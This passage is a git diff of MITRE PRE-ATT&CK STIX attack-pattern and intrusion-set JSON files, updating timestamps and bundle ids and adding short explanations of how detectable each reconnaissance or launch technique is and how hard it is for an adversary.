-    "id": "bundle--3ef2c95f-f4ac-4f71-a81d-a94c305477b2",
+    "id": "bundle--afecace8-8e82-4295-9417-bc9b398023a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create infected removable media",
-            "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d.json b/pre-attack/attack-pattern/attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d.json
index 0e0faf7122..b7f8c51b4e 100644
--- a/pre-attack/attack-pattern/attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d.json
+++ b/pre-attack/attack-pattern/attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0aff037c-44ab-4d62-bc1e-6694e975e550",
+    "id": "bundle--dcfd319d-1b1b-43d7-94c8-75dba6d2fc33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Friend/Follow/Connect to targets of interest",
-            "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target.  However the rigidity in validating the users is not typically followed by standard users.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless.  An adversary can easily create a profile and request targets to validate the requests.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target.  However the rigidity in validating the users is not typically followed by standard users.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless.  An adversary can easily create a profile and request targets to validate the requests."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1.json b/pre-attack/attack-pattern/attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1.json
index 7c772a375a..977d1e0359 100644
--- a/pre-attack/attack-pattern/attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1.json
+++ b/pre-attack/attack-pattern/attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad9195fc-011b-46df-a2a8-3e94a9de1d1e",
+    "id": "bundle--43e14340-4a5a-49f9-b718-6544323b4a51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Targeted social media phishing",
-            "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not.  Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not.  Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending messages to individuals identified as a target follows normal tradecraft for using social media."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0.json b/pre-attack/attack-pattern/attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0.json
index c174861158..b14e47f636 100644
--- a/pre-attack/attack-pattern/attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0.json
+++ b/pre-attack/attack-pattern/attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--50564749-f17c-4a67-ae05-b66cf5f046d0",
+    "id": "bundle--6d2d96ec-d67b-4061-9609-6bafc0ed0dec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create strategic plan",
-            "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d.json b/pre-attack/attack-pattern/attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d.json
index a658a5f0eb..9055faa532 100644
--- a/pre-attack/attack-pattern/attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d.json
+++ b/pre-attack/attack-pattern/attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae29bcda-1e9e-421f-ad56-76a64ceccaf6",
+    "id": "bundle--3fa6823f-dcd3-4f0f-97c7-c8313088a499",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze social and business relationships, interests, and affiliations",
-            "description": "Social media provides insight into the target's affiliations with groups and organizations.  Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social media provides insight into the target's affiliations with groups and organizations.  Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public sources are external to the defender's organization.  Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]).  Social media also provides insight into the target's affiliations with groups and organizations.  Finally, certification information can explain their technical associations and professional associations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public sources are external to the defender's organization.  Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]).  Social media also provides insight into the target's affiliations with groups and organizations.  Finally, certification information can explain their technical associations and professional associations."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957.json b/pre-attack/attack-pattern/attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957.json
index 13c6798156..bb529c205d 100644
--- a/pre-attack/attack-pattern/attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957.json
+++ b/pre-attack/attack-pattern/attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44374c82-e83d-4e9f-9938-3a4a7c0a619d",
+    "id": "bundle--ab43f9fd-9188-4147-8175-13d2b671d8e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Discover target logon/email address format",
-            "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format.  This information is easily discoverable.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Scraping of known email addresses from the target will likely reveal the target standard for address/username format.  This information is easily discoverable."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d.json b/pre-attack/attack-pattern/attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d.json
index a6591598cf..7afdac5304 100644
--- a/pre-attack/attack-pattern/attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d.json
+++ b/pre-attack/attack-pattern/attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a585f8f-008c-4a75-9578-f5a96bb7bafa",
+    "id": "bundle--56e4bb71-af8f-4bcb-b406-58060ebf6057",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enumerate externally facing software applications technologies, languages, and dependencies",
-            "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used.  If active scanning tools are employed, then the defender has the ability to detect.  However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense.  Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site.  Additionally many of the active scanning tools will also provide some insight into this information.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used.  If active scanning tools are employed, then the defender has the ability to detect.  However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense.  Defender review of access logs may provide some insight based on trends or patterns.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Basic interaction with the site provides insight into the programming languages/technologies used for a given web site.  Additionally many of the active scanning tools will also provide some insight into this information."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046.json b/pre-attack/attack-pattern/attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046.json
index 281080ece6..66e67d154e 100644
--- a/pre-attack/attack-pattern/attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046.json
+++ b/pre-attack/attack-pattern/attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a8d8cfb-cd94-43c8-a216-83199e9b55e5",
+    "id": "bundle--9f5ad869-0224-4974-babd-35f1ec38d238",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Confirmation of launched compromise achieved",
-            "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8.json b/pre-attack/attack-pattern/attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8.json
index 366ed354d8..32eb34f196 100644
--- a/pre-attack/attack-pattern/attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8.json
+++ b/pre-attack/attack-pattern/attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4758dfeb-7dd4-49f5-8b98-b655be303d88",
+    "id": "bundle--fe23412d-3e6e-4ec0-8a4a-9009a2d3960e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Human performs requested action of physical nature",
-            "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary.  This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary.  This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Non-hypersensing environments do not typically collect this level of detailed information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234.json b/pre-attack/attack-pattern/attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234.json
index 55897ddfe8..d5dd308929 100644
--- a/pre-attack/attack-pattern/attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234.json
+++ b/pre-attack/attack-pattern/attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb30c954-2fbb-4dee-893f-21e52097a9d8",
+    "id": "bundle--7718a81e-1f78-43b4-916a-a3837707a734",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create custom payloads",
-            "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Specialized tools exist for research, development, and testing of virus/malware payloads."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925.json b/pre-attack/attack-pattern/attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925.json
index 8ba75bd254..becb7472f8 100644
--- a/pre-attack/attack-pattern/attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925.json
+++ b/pre-attack/attack-pattern/attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d08dd10-d68c-4849-ab9a-61f537ca4b96",
+    "id": "bundle--202ee6db-d701-482c-8f9c-949f5bdf2979",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze application security posture",
-            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture.  Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze technical scanning results to identify weaknesses in the configuration or architecture.  Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json b/pre-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
index a29ab23315..98eed7c1e1 100644
--- a/pre-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
+++ b/pre-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--19767e99-775f-42cf-b784-0ccf6e796d15",
+    "id": "bundle--65175613-c10f-4856-b281-a2797503c330",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/pre-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json b/pre-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
index d44f061701..7c2374dede 100644
--- a/pre-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
+++ b/pre-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93945d24-2f84-4d60-a799-b504e1581b12",
+    "id": "bundle--42de108a-abbb-4de9-a89e-8d1ab150e2fc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT17",
             "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
             "aliases": [
diff --git a/pre-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json b/pre-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
index 4760b977db..5d8cf78bbd 100644
--- a/pre-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
+++ b/pre-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
